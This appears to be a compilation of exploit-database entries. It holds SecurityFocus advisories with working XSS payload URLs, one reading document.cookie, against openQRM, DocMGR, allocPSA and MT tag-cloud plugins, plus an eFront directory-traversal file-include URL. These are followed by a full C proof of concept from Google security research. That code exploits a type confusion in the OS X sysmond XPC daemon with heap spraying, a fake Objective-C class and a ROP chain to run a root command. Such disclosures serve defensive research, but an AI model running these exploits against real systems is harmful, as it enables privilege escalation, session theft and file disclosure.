https://www.example.com/wd/applets/Error.asp?type=</span><script>alert(1)</script>
            
source: https://www.securityfocus.com/bid/47870/info

eFront is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

eFront 3.6.9 build 10653 is vulnerable; other versions may also be affected. 

http://www.example.com/efront/www/js/scripts.php?load=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 
            
source: https://www.securityfocus.com/bid/47865/info

openQRM is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

openQRM 4.8 is vulnerable; other versions may also be affected. 

http://www.example.com/openqrm-4.8/src/plugins/zfs-storage/web/zfs-storage-action.php?source_tab="<script>alert(0)</script>
            
source: https://www.securityfocus.com/bid/47861/info

DocMGR is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DocMGR 1.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/docmgr/history.php?f=0%22%29;}alert%280%29;{// 
            
source: https://www.securityfocus.com/bid/47860/info

allocPSA is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

allocPSA 1.7.4 is vulnerable; other versions may also be affected. 

http://www.example.com/allocPSA-1.7.4/login/login.php?sessID=%3Cscript%3Ealert%280%29%3C/script%3E 
            
source: https://www.securityfocus.com/bid/47845/info

The Flash Tag Cloud widget and the MT-Cumulus Plugin are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following versions are affected:

Flash Tag Cloud For MT 4
MT-Cumulus 1.02 and prior versions 

http://www.example.com/scripts/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

http://www.example.com/mt/mt-static/plugins/Cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E 
            
/*
  Source: https://code.google.com/p/google-security-research/issues/detail?id=121
*/

/*
  tested on OS X 10.9.5 - uses some hard-coded offsets which will have to be fixed-up for other versions!

  this poc uses liblorgnette to resolve some private symbols; grab the code from github:
  git clone https://github.com/rodionovd/liblorgnette.git

  build this PoC with:
  clang -o sysmond_exploit_writeup sysmond_exploit_writeup.c liblorgnette/lorgnette.c -framework CoreFoundation

  sysmond is a daemon running as root. You can interact with sysmond via XPC ("com.apple.sysmond".)

  sub_100001AAF calls sub_100003120 passing the xpc dictionary received from the attacker. This function
  allocates a sysmond_request object and fills in fields from the attacker-controlled xpc request dictionary:

  ;read a uint64 with the key "Type"
__text:0000000100003144                 mov     rax, cs:_SYSMON_XPC_KEY_TYPE_ptr
__text:000000010000314B                 mov     rsi, [rax]
__text:000000010000314E                 mov     rdi, r14
__text:0000000100003151                 call    _xpc_dictionary_get_uint64
__text:0000000100003156                 mov     [rbx+20h], rax                ;rbx points to sysmond_request

  ;read anything with the key "Attributes"
__text:000000010000315A                 mov     rax, cs:_SYSMON_XPC_KEY_ATTRIBUTES_ptr
__text:0000000100003161                 mov     rsi, [rax]
__text:0000000100003164                 mov     rdi, r14
__text:0000000100003167                 call    _xpc_dictionary_get_value
__text:000000010000316C                 mov     [rbx+28h], rax
... continues parsing more fields

  The sysmond_request is returned from this function and passed as the first argument to sub_10000337D:

__text:000000010000337D sub_10000337D   proc near               ; CODE XREF: sub_100001AAF+4Bp
__text:000000010000337D
__text:000000010000337D var_38          = qword ptr -38h
__text:000000010000337D var_30          = dword ptr -30h
__text:000000010000337D var_2C          = dword ptr -2Ch
__text:000000010000337D var_28          = qword ptr -28h
__text:000000010000337D var_20          = qword ptr -20h
__text:000000010000337D var_18          = qword ptr -18h
__text:000000010000337D
__text:000000010000337D                 push    rbp
__text:000000010000337E                 mov     rbp, rsp
__text:0000000100003381                 push    r14
__text:0000000100003383                 push    rbx
__text:0000000100003384                 sub     rsp, 30h
__text:0000000100003388                 mov     rbx, rdi          ; sysmond_request pointer
__text:000000010000338B                 mov     rdi, [rbx+20h]    ; "Type" uint64 value in the xpc request dictionary
__text:000000010000338F                 mov     rsi, [rbx+28h]    ; "Attributes" value in the xpc request dictionary
__text:0000000100003393                 call    sub_100003454

  this function extracts the Type and Attribute values and passes them to sub_100003454:

__text:0000000100003454 sub_100003454 proc near   ; CODE XREF: sub_10000337D+16p
__text:0000000100003454                           ; handler+C0 p
__text:0000000100003454                 push    rbp
__text:0000000100003455                 mov     rbp, rsp
__text:0000000100003458                 push    r15
__text:000000010000345A                 push    r14
__text:000000010000345C                 push    r12
__text:000000010000345E                 push    rbx
__text:000000010000345F                 mov     r12, rsi          ; this is "Attributes" value
__text:0000000100003462                 mov     r14, rdi          ; which was read from the dictionary with xpc_dictionary_get_value
__text:0000000100003465                 mov     rdi, r12          ; meaning it could be any xpc type
__text:0000000100003468                 call    _xpc_data_get_length   ; use "Attributes" value as an xpc_data object
__text:000000010000346D                 mov     r15, rax
__text:0000000100003470                 mov     rdi, r15        ; size_t
__text:0000000100003473                 call    _malloc
__text:0000000100003478                 mov     rbx, rax
__text:000000010000347B                 mov     rdi, r12
__text:000000010000347E                 mov     rsi, rbx
__text:0000000100003481                 xor     edx, edx
__text:0000000100003483                 mov     rcx, r15
__text:0000000100003486                 call    _xpc_data_get_bytes ; use "Attributes" value again interpreted as an xpc_data

  the xpc_data_get_bytes call is the interesting one:

__text:00000000000114BE _xpc_data_get_bytes proc near
__text:00000000000114BE                 push    rbp
__text:00000000000114BF                 mov     rbp, rsp
...
__text:00000000000114D2                 mov     r14, rsi
__text:00000000000114D5                 mov     r13, rdi
__text:00000000000114D8                 cmp     qword ptr [r13+28h], 0FFFFFFFFFFFFFFFFh
__text:00000000000114DD                 jnz     short loc_11515
...
__text:0000000000011515                 lea     rdi, [r13+28h]  ; predicate
__text:0000000000011519                 lea     rdx, __xpc_data_map_once ; function
__text:0000000000011520                 mov     rsi, r13        ; context
__text:0000000000011523                 call    _dispatch_once_f

  here, if the value at +28h isn't -1 then our xpc object will be passed as the context to __xpc_data_map_once:

__text:00000000000028E9 __xpc_data_map_once proc near           ; DATA XREF: _xpc_data_get_bytes_ptr+1Fo
__text:00000000000028E9                                         ; __xpc_data_equal+46ao ...
__text:00000000000028E9                 push    rbp
__text:00000000000028EA                 mov     rbp, rsp
__text:00000000000028ED                 push    r14
__text:00000000000028EF                 push    rbx
__text:00000000000028F0                 mov     rbx, rdi                   ; controlled xpc object
__text:00000000000028F3                 cmp     byte ptr [rbx+48h], 0      ; if the byte at +48h is 0
__text:00000000000028F7                 jnz     short loc_291E
__text:00000000000028F9                 mov     rdi, [rbx+30h]             ; then pass the pointer at +30h
__text:00000000000028FD                 lea     rsi, [rbx+38h]
__text:0000000000002901                 lea     rdx, [rbx+40h]
__text:0000000000002905                 call    _dispatch_data_create_map  ; to dispatch_data_create_map
__text:000000000000290A                 mov     r14, rax
__text:000000000000290D                 mov     rdi, [rbx+30h]  ; object
__text:0000000000002911                 call    _dispatch_release          ; and then to dispatch_release

  we can return early from dispatch_data_create_map by setting the value at +28h from the pointer passed as the first arg to 0:

__text:00000000000012B6 _dispatch_data_create_map proc near     ; CODE XREF: __dispatch_data_subrange_map+34p
__text:00000000000012B6                                         ; __dispatch_operation_perform+DEap
__text:00000000000012B6
__text:00000000000012B6                 push    rbp
__text:00000000000012B7                 mov     rbp, rsp
__text:00000000000012BA                 push    r15
__text:00000000000012BC                 push    r14
__text:00000000000012BE                 push    r13
__text:00000000000012C0                 push    r12
__text:00000000000012C2                 push    rbx
__text:00000000000012C3                 sub     rsp, 38h
__text:00000000000012C7                 mov     [rbp+var_58], rdx
__text:00000000000012CB                 mov     r15, rsi
__text:00000000000012CE                 mov     r14, rdi
__text:00000000000012D1                 mov     r12, [r14+28h]          ; if this is 0
__text:00000000000012D5                 test    r12, r12
__text:00000000000012D8                 jz      short loc_131C          ; jumps to early return without disturbing anything else

  we then reach the call to dispatch_release which is passing the pointer at +30h of the xpc object we control (the API believes this is an xpc_data object)
  this ends up calling _dispatch_objc_release which sends the objective c "release" message to the object.

  We'll come back to how to get code code execution from that later.

  The crux of the bug is that the value of the "Attributes" key in the request dictionary is never validated to actually be an xpc_data object and the gets
  passed to functions expecting an xpc_data. In order to exploit this we need to have a value of a type other than xpc_data as the "Attributes" value
  in the request dictionary - specifically one where the offsets outlined above have suitably controlled values:

  +28h qword 0
  +30h pointer to controlled data
  +48h byte 0

  the xpc_uuid type comes the closest to fulfilling these requirements. We completely control the 16 bytes from +28h so the first two constraints are easily
  satisfied. Heap spraying is very reliable and fast in xpc, we can easily map a gigabyte of data into sysmond at a predicable address so we can point the
  pointer at +30h to that.

  The xpc_uuid object is only 40h bytes though, so we have no control over the byte at +48h which must be 0...

  OS X uses magazine malloc which is a heap-based allocator. It has three broad size classes (x<1k = tiny; 1k<x<15k = small; x>15k = large) and within these
  it will allocate approximately contiguously (using size-based free-lists to speed things up) with no inline-metadata which means there's a
  reasonable expectation that sequential allocations of similar sizes will be contiguous.

  Our xpc_uuid object is allocated when the request dictionary is received, so what's the next thing which is allocated?
  xpc_dictionaries have 6 hash buckets which store the heads of linked-lists for each bucket. As the dictionary is being deserialized first the value of a
  key is deserialized (allocating in this case the xpc_uuid) object then the entry is added to the linked-list (allocting a new linked-list entry struct.)

  The structure of a linked-list entry is approximately:

  struct ll {
    struct ll* forward;
    struct ll* backward;
    xpc_object_t* object;
    uint64_t flags;
    char key[0];
  }

  This is a variable-size struct - the key is allocated inline. If the xpc_uuid is immediately followed in memory by its linked-list entry the the value at +48
  will be the least-significant byte of the backward linked-list pointer. Our only requirement is that this byte be 0, which is easily achieved by ensuring that
  the previous linked-list entry struct in the list (which this linked-list entry points to) was allocated with an alignment of at least 256 bytes.
  The magazine malloc "small" size class heap chunks all have an alignment
  of 512 bytes meaning that we just need the linked-list entry prior to the xpc_uuid to be between 1k and 15k. In order for the key to end up in the right linked-list
  when it's deserialized we also need to make sure that the long key hashes to the same hash as "Attributes" - since there are only 6 possible hash values this is trivial.

  Finally, we can add another xpc_data object to the reqest dictionary with a gigabyte of heapspray as the value - this will be mapped into sysmond at a suitably
  predictable address meaning we can set the high 8 bytes of the uuid value to point to this.

  At this point we control a pointer to an objective-c object and the code will call objc_msgSend to "send a message" to our controlled object, which is the
  objective-c paradigm for calling methods. Let's look at the implementation of this to see how we can turn that into instruction pointer control:

__text:000000000000117F __dispatch_objc_release proc near       ; CODE XREF: _dispatch_release:loc_117Aj
__text:000000000000117F                                         ; _dispatch_data_create_subrange+183_p ...
__text:000000000000117F                 mov     rax, rdi
__text:0000000000001182                 cmp     cs:__os_object_have_gc, 0
__text:0000000000001189                 jnz     short loc_119E
__text:000000000000118B                 mov     rcx, cs:msgRef_release__objc_msgSend_fixup
__text:0000000000001192                 lea     rsi, msgRef_release__objc_msgSend_fixup
__text:0000000000001199                 mov     rdi, rax
__text:000000000000119C                 jmp     rcx


  rdi points to our heap sprayed fake objective-c object. This code sets rsi to point to the msgRef_release__objc_msgSend_fixup structure then calls the value at that address
  which is objc_msgSend_fixup. msgRef_release__objc_msgSend_fixup is in the __objc_msgrefs section of the data segment and in lldb we can see that at runtime is has the following
  contents:

  { /usr/lib/libobjc.A.dylib`objc_msgSend_fixedup, "release" }

  and the implementation of objc_msgSend_fixedup is:

(lldb) disassemble --name objc_msgSend_fixedup
libobjc.A.dylib`objc_msgSend_fixedup:
   0x7fff91d5d1c4:  mov    RSI, QWORD PTR [RSI + 8]
   0x7fff91d5d1c8:  jmpq   0x7fff91d5d080            ; objc_msgSend

  which just calls through to objc_msgSend passing the address of the "release" string as the second argument:

(lldb) disassemble --name objc_msgSend
libobjc.A.dylib`objc_msgSend:
   0x7fff91d5d080:  test   RDI, RDI
   0x7fff91d5d083:  je     0x7fff91d5d0f8
   0x7fff91d5d086:  test   DIL, 1
   0x7fff91d5d08a:  jne    0x7fff91d5d10f
   0x7fff91d5d091:  mov    R11, QWORD PTR [RDI]         ; rdi points to controlled fake objective-c object - read pointer to objective-c class
   0x7fff91d5d094:  mov    R10, RSI                     ; copy selector (pointer to string of method to call) to r10
   0x7fff91d5d097:  and    R10D, DWORD PTR [R11 + 24]   ; mask off n upper bits of the pointer according to value of fake_class+18h
   0x7fff91d5d09b:  shl    R10, 4                       ;
   0x7fff91d5d09f:  add    R10, QWORD PTR [R11 + 16]    ; use that masked off value as an index into a cache array pointed to by fake_class+10h
   0x7fff91d5d0a3:  cmp    RSI, QWORD PTR [R10]         ; does the cache entry selector match the selector passed as the second arg?
   0x7fff91d5d0a6:  jne    0x7fff91d5d0ac
   0x7fff91d5d0a8:  jmp    QWORD PTR [R10 + 8]          ; if so, then call the cached function implementation address

  Objective-c classses cache the addresses of the selector strings, not the contents of the strings so in order to exploit this we need to be able
  to find the address of the "release" selector passed by _dispatch_objc_release so we can construct a fake selector cache.
  All these libraries are loaded at the same address in all processes so we can just find the selector address in this process and it'll be valid for sysmond.

  Having done this we get instruction pointer control. At this point rax and rdi point to the heap spray so this PoC uses a pivot gadget in CoreFoundation
  to move the stack to point into the heap spray and ROP to a system() call with controlled string :)
*/


#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach/task.h>

#include <mach-o/dyld_images.h>

#include "liblorgnette/lorgnette.h"

/* find the base address of CoreFoundation for the ROP gadgets */

void* find_library_load_address(const char* library_name){
  kern_return_t err;

  // get the list of all loaded modules from dyld
  // the task_info mach API will get the address of the dyld all_image_info struct for the given task
  // from which we can get the names and load addresses of all modules
  task_dyld_info_data_t task_dyld_info;
  mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
  err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);

  const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
  const struct dyld_image_info* image_infos = all_image_infos->infoArray;
  
  for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
    const char* image_name = image_infos[i].imageFilePath;
    mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
    if (strstr(image_name, library_name)){
      return (void*)image_load_address;
    }
  }
  return NULL;
}


struct heap_spray {
  void* fake_objc_class_ptr; // -------+
  uint8_t pad0[0x10];        //        |
  uint64_t first_gadget;     //        |
  uint8_t pad1[0x8];         //        |
  uint64_t null0;            //        |
  uint64_t pad3;             //        |
  uint64_t pop_rdi_rbp_ret;  //        |
  uint64_t rdi;              //        |
  uint64_t rbp;              //        |
  uint64_t system;           //        |
  struct fake_objc_class_t { //        |
    char pad[0x10];      // <----------+
    void* cache_buckets_ptr; //--------+
    uint64_t cache_bucket_mask;  //    |
  } fake_objc_class;             //    |
  struct fake_cache_bucket_t {   //    |
    void* cached_sel;      // <--------+  //point to the right selector
    void* cached_function; // will be RIP :)
  } fake_cache_bucket;
  char command[256];
};


int main(){
  // create the XPC connection to sysmond
  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.sysmond", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);

  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);



  void* heap_spray_target_addr = (void*)0x120202000;
  struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
  memset(hs, 'C', 0x1000);
  hs->null0 = 0;
  hs->fake_objc_class_ptr = &hs->fake_objc_class;
  hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
  hs->fake_objc_class.cache_bucket_mask = 0;

  // nasty hack to find the correct selector address :)
  uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");
  uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector 
  uint64_t sel = msgrefs[1];
  printf("%p\n", sel);
  hs->fake_cache_bucket.cached_sel = sel;

  uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
  // pivot:
/*
push rax
add eax, [rax]
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
  hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here

  // jump over the NULL then so there's more space:
  //pop, pop, pop, ret: //and keep stack correctly aligned
  hs->first_gadget = CoreFoundation_base + 0x46ef7;

  hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;
  hs->system = dlsym(RTLD_DEFAULT, "system");

  hs->rdi = &hs->command;
  strcpy(hs->command, "touch /tmp/hello_root");


  size_t heap_spray_pages = 0x40000;
  size_t heap_spray_bytes = heap_spray_pages * 0x1000;
  char* heap_spray_copies = malloc(heap_spray_bytes);
  for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
  }

  xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);

  xpc_dictionary_set_uint64(msg, "Type", 1);

  xpc_dictionary_set_uint64(msg, "Interval", 0);
  
  xpc_connection_t xc = xpc_connection_create(NULL, NULL);
  xpc_dictionary_set_connection(msg, "Connection", xc);
 
  // this has the same xpc dictionary hash as "Attributes"
  char* long_key = malloc(1024);
  memset(long_key, 'A', 1023);
  long_key[1023] = '\x00';

  xpc_dictionary_set_string(msg, long_key, "something or other that's not important");
  
  uint64_t uuid[] = {0, 0x120202000};
  xpc_dictionary_set_uuid(msg, "Attributes", (const unsigned char*)uuid);

  xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, msg);

  printf("send and received\n");
  
  xpc_release(msg);
  return 0;
  for(;;){
    CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
  }
  return 0;
}